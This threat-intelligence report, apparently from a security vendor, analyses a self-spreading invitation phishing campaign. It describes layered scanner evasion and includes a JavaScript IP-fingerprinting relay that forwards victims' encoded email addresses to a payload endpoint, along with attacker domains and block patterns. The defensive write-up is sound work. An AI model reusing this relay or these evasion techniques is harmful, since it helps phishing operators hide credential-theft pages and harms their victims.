TIDALGUEST: A Self-Replicating Invitation Phishing Cluster

You’re Invited

Campaign Cluster: TIDALGUEST | Credential Theft & Remote Access | June 2026

TIDALGUEST is a self-replicating invitation phishing cluster with a propagation mechanism that mirrors how early internet worms spread: each successful credential theft turns a compromised personal email inbox into a new distribution node, blasting the same lure to an entirely new contact list. A separate sending track using dedicated infrastructure runs in parallel, targeting fresh victims while the account-compromise wave handles high-trust propagation. Together, they deploy five layers of evasion defeating enterprise URL inspection at every stage of the kill chain and deliver both credential theft and remote access malware from the same rotating infrastructure.

Key Judgments

• TIDALGUEST operators have built a five-layer evasion stack in which each layer neutralizes a distinct detection control. No single scanning mechanism covers the full chain; enterprise gateways, sandbox crawlers, IP-fingerprinting defenses, and URL-reputation databases are each defeated at a different stage.
• The campaign self-amplifies through every successful compromise: a harvested personal email account becomes a trusted distribution node that relays new lures from a real sender to a real contact list. The propagation surface is the fraction that bypasses the spam filter, plus recipients whose corporate gateways accept gmail.com traffic without per-message spam evaluation, trusting the SMTP domain reputation of Gmail as a platform rather than evaluating the individual message.
• Infrastructure observed across this cluster shows a deliberate preference for blending into legitimate hosting. Cloudflare Workers subdomains, compromised organizational websites, and open redirectors on government infrastructure all appear in the same redirect chains as attacker-controlled payload pages.
• We track this activity as a single campaign cluster based on infrastructure overlaps and consistent lure templates. ScreenConnect remote access delivery alongside two distinct sending tracks (compromised personal accounts and a dedicated domain) is consistent with either shared infrastructure across operators or a single group running parallel campaigns. We do not attribute TIDALGUEST to a single actor.
• Credential-theft victims face compounding exposure: the same infrastructure that harvests credentials also delivers persistent remote access software, and a compromised Gmail inbox creates an immediate second-stage lateral-spread vector without re-targeting.
• TIDALGUEST has been active since at least early June 2026 and remains active at the time of this publication. Roughly a third of monitored organizations received at least one campaign email during this period, spanning sectors including financial services, technology, and professional services. The self-replication mechanism compounds scope: each successful compromise turns a contact list into the next sending pool, so the true number of exposed recipients grows faster than the sending infrastructure alone would suggest.

Self-Replication through Compromised Gmail Accounts

The majority of observed campaign emails in the account-compromise track originate from compromised personal email accounts, not attacker-registered domains. When a victim submits credentials to the phishing page, the operator gains access to a working inbox. Within hours, invitation lures go out to the full contact list from a known, trusted address. The seed vector (how the initial accounts in each wave are first compromised) is not directly observable from this cluster. The most likely explanation is earlier campaign waves targeting those accounts, with the invitation lure format itself as the initial attack surface.

A parallel sending track uses dedicated infrastructure at tabed[.]ba. These emails follow a stripped format with vague subjects (“Accept”) rather than polished invitation templates, suggesting this track probes new targets while the account-compromise wave handles high-trust propagation.

The replication cycle:

• Lure delivered. Invitation arrives from a compromised personal email account or tabed[.]ba. Authentication passes. Gateway rewrites the URL. Gmail’s spam filter routes more than 90% of these to spam; the fraction that reaches the inbox does so via corporate gateways that trust gmail.com as a sending domain, or through the small portion that bypasses Gmail’s filter outright.
• Evasion stack activates. TDS deflects crawlers. CAPTCHA gate stops sandboxes. IP relay filters VPNs and analysts. Blob injection hides the phishing page from URL scanners entirely.
• Credentials harvested. Victim completes multi-step credential entry. Password and MFA token both exfiltrated. Victim redirected to a real-looking event page to reduce suspicion.
• Loop closes. Operator accesses the victim’s inbox. Sends the same lure to the full contact list. Each new compromise repeats the cycle with a new trusted sender identity.

Five Evasion Layers Target Five Distinct Detection Controls

Defeating all five layers simultaneously requires a real victim session, in the right country, on a residential IP, with a human interaction capability.

Layer 1: Enterprise URL Inspection Wrapped and Delivered

Email Security solutions, including Checkpoint Harmony Email, Microsoft Defender SafeLinks, Gmail Safe Browsing, and Mimecast URL Protection each processed and delivered observed campaign emails without raising an alert. These products rewrite outbound links as a standard security control; when a message arrives in the recipient’s inbox with a rewritten link, that prefix implies the message has already been inspected and cleared. At scan time, the target URLs serve a CAPTCHA challenge or redirect to an innocuous destination, so the gateway sees no malicious content.

Gmail’s spam filter is separately worth noting: in our dataset, it routes more than 90% of campaign emails from both the gmail.com and tabed[.]ba sending tracks directly to spam before the inbox. The propagation mechanism exploits the remaining fraction and relies on recipients whose gateways trust gmail.com sender reputation at the domain level rather than evaluating each message.

Layer 2: Traffic Distribution System Deflects Automated Crawlers

At least one observed campaign path routes through a traffic distribution system with path structure and conversion-tracking parameters that follow ad-fraud industry conventions. Automated visitors receive a redirect to google.com or a 204 empty response, returning no payload for analysis. The TDS layer provides a first filter before any attacker-controlled infrastructure is exposed.

Layer 3: Cloudflare Turnstile CAPTCHA Gate on Rotating .vu Domains

Real visitor sessions land on one of a rotating cluster of Vanuatu-TLD (.vu) payload domains, all fronted by Cloudflare Turnstile. Sandboxes and automated headless browsers see only the “Press & hold to verify” challenge screen. Victims who solve the CAPTCHA reach the credential-harvest page or download trigger. As individual .vu domains accumulate detections, they are replaced by fresh registrations on the same pattern.

Layer 4: IP Fingerprinting Relay on Compromised Legitimate Infrastructure

Some redirect chains route through JavaScript hosted on compromised organizational websites. The relay silently queries an IP reputation API to classify the visitor’s connection as VPN, proxy, datacenter, or residential. Visitors on corporate proxy networks, VPN connections, or datacenter IP ranges receive a blank page with the browser back button trapped. Only residential human visitors are forwarded to the payload, via a Cloudflare Workers endpoint with the victim’s email address encoded in the URL fragment so it does not appear in server logs. The relay runs on a legitimate third-party domain, causing it to appear benign in any scan report that examines only the first hop.

The core relay logic follows a pattern consistent across observed instances:

fetch("https://api.ipapi.is/?q=" + visitorIP)
  .then(r => r.json())
  .then(({ is_vpn, is_proxy, is_datacenter }) => {
    if (is_vpn || is_proxy || is_datacenter) {
      document.body.innerHTML = "";
      history.replaceState(null, "", window.location.href);
    } else {
      window.location.href = payloadEndpoint + "#" + btoa(recipientEmail);
    }
  });

The victim’s email address, encoded in the URL fragment, is passed to the payload endpoint without appearing in server-side logs.

Layer 5: Blob URL Injection – Phishing Page Exists Only in the Victim’s Browser

A second in-browser evasion technique uses compromised business websites hosting a “Press & Hold” button styled to resemble a CAPTCHA challenge. Completing the hold triggers a JavaScript routine that constructs a full HTML document in browser memory and navigates to it via a blob URI. This phishing page is never transmitted over the network; it exists only in the victim’s browser session. URL-reputation feeds, post-delivery URL scanners, and network-based detection have nothing to analyze. The credential-harvesting kit configuration and decoy redirect are both base64-encoded directly in the blob body.

One Infrastructure Delivers Two Attack Types

The same lure template and sending infrastructure are used to deliver fundamentally different payloads depending on the victim path.

Credential Phishing: Multi-Step Harvest with False Validation

Victims reaching the credential-harvest endpoint enter credentials into a page impersonating Google, Microsoft, or a multi-provider login panel. The page accepts any credentials, returns a false “incorrect password” error to prompt re-entry, then presents a fake MFA verification step. Neither the password nor the one-time code is validated locally. Both are silently exfiltrated. Post-submission, the victim is shown a legitimate event page matching the original invitation theme.

Remote Access Malware: RMM Tools Delivered as RSVP eCards

In the malware-delivery variant, clicking the invitation link lands the victim on a BlueMountain-branded page with a countdown timer before an automatic download triggers. Pages are OS-aware: Windows victims receive a ScreenConnect installer, macOS victims receive an installer package and configuration file. Mobile devices are blocked entirely. Each page reports visit and download events to the operator, giving per-victim execution telemetry.

Confirmed malware filenames: ScreenConnect.ClientSetup.exe (Windows), invite.pkg + config.data (macOS), SPRINGTIME_INVITATION+AND+PARTY-ACCESS.zip

Lure Format, Brand Impersonation, and Structural Signals

The invitation format carries social expectations that neutralize standard phishing awareness training. A party invitation addresses the recipient personally, plausibly comes from someone they know, creates a low-stakes reason to click, and naturally directs to an external link without requiring credential entry anywhere that feels sensitive.

The most frequently impersonated brands are Evite and Punchbowl, with a smaller volume impersonating BlueMountain via the lookalike domain blmountainiv[.]one. Some variants add personalization via URL parameters encoding the recipient’s name (pattern: kelario[.]vu/?name=), consistent with per-victim link generation to further suppress generic-URL heuristics.

Consistent structural signals across all observed variants:

• Sent to undisclosed-recipients or BCC in every observed case. A personal party invitation to undisclosed recipients is reliably anomalous.
• Invitation RSVP button linking to a non-brand domain. Display text reads “Open Invitation” or “RSVP Now” but destination is a .vu domain, Cloudflare subdomain, or short URL.
• Sender domain mismatch. Evite or Punchbowl impersonation from gmail.com or tabed[.]ba. BlueMountain impersonation via blmountainiv[.]one.

Effective Detection Anchors on Email Structure, Not URL Content

The effective signals all operate at the email layer, on structural properties set before any URL is resolved. The campaign’s evasion stack is designed specifically to defeat URL-based controls. Defenses that anchor on sender mismatch, structural anomalies, and link-display incongruence are not affected by rotating backends, IP-filtering relays, or blob URL generation.

TIDALGUEST Reflects a Cluster Sharing Infrastructure, Not a Single Attributed Actor

We cluster the activity described in this report under the designation TIDALGUEST based on consistent infrastructure patterns: shared use of Vanuatu-TLD payload domains fronted by Cloudflare Turnstile, consistent invitation-brand impersonation, overlapping phishing kit behavior across credential-harvest endpoints, and a self-replication mechanism tied to compromised personal email accounts.

Within this cluster, the use of ScreenConnect as a remote access payload alongside two distinct sending tracks suggest either shared infrastructure across multiple operators or a single group managing parallel campaigns with different tooling. Staging infrastructure for the ScreenConnect installer follows a consistent directory path pattern across observed domains, suggesting a shared deployment template. The ScreenConnect relay tenant identifier, which would confirm whether victims connect back to the same operator-controlled instance, is embedded in the installer binary and not directly observable from the download URL alone. We do not attribute TIDALGUEST to a specific threat actor, criminal group, or nation-state nexus.

The operator profile reflects capability indicators above typical commodity phishing. Use of ad-fraud traffic distribution infrastructure and Cloudflare Workers as payload hosting suggests familiarity with commercial performance-marketing tooling. The IP fingerprinting relay demonstrates awareness of the specific detection mechanisms used by enterprise security teams. The blob URL technique, which requires understanding the browser’s content security model at a level most phishing kits do not reach, represents an investment in analyst evasion beyond what commodity operations typically deploy.

Recommendations for Administrators

TIDALGUEST was built to defeat the controls most organizations rely on: gateway URL scanning, domain blocklists, VPN-based sandbox analysis, post-delivery URL retrieval. The signals that actually work operate at the email layer before any URL is resolved, describing what the email structurally is rather than where its links point. That is the detection surface AI-native email security is designed for.

Switch from URL-centric to structural analysis. Every URL-scanning gateway tested delivered the campaign without an alert. These products are not misconfigured; they are operating as designed against a campaign built to serve benign content to automated scanners. AI-native detection analyzes sender relationship history, structural anomalies, lure template patterns, and behavioral deviation from established baselines. None of that analysis requires fetching a URL, so none of it is defeated by CAPTCHA gates, IP-filtering relays, or rotating payload domains.

Correlate across messages, not per message. The account-compromise track sends lures from real, trusted senders with no detectable IOC in any individual email. The signal is the pattern: invitation-themed lures from a new sender reaching multiple recipients simultaneously, or a known contact sending to an undisclosed recipient list. AI-native systems that operate across the full mail corpus surface this behavior where per-message rules see nothing.

For traditional gateway environments: block on patterns. The most durable option is pattern-based blocking at the gateway and proxy: *.vu domains via Cloudflare Workers, *.w-fetou0.workers.dev, and tabed.ba. These measures reduce exposure at the margins but do not address the account-compromise track or the evasion layers designed to defeat automated scanning.

MITRE ATT&CK Mapping

Indicators of Compromise

The following is a representative sample of known attacker-controlled infrastructure from this cluster. The campaign rotates domains actively; the full set extends beyond what is listed here. Blocking on patterns (all *.vu domains via Cloudflare Workers, *.w-fetou0.workers.dev, tabed.ba) is more durable than per-indicator blocklisting.

Aegis AI Threat Intelligence – June 2026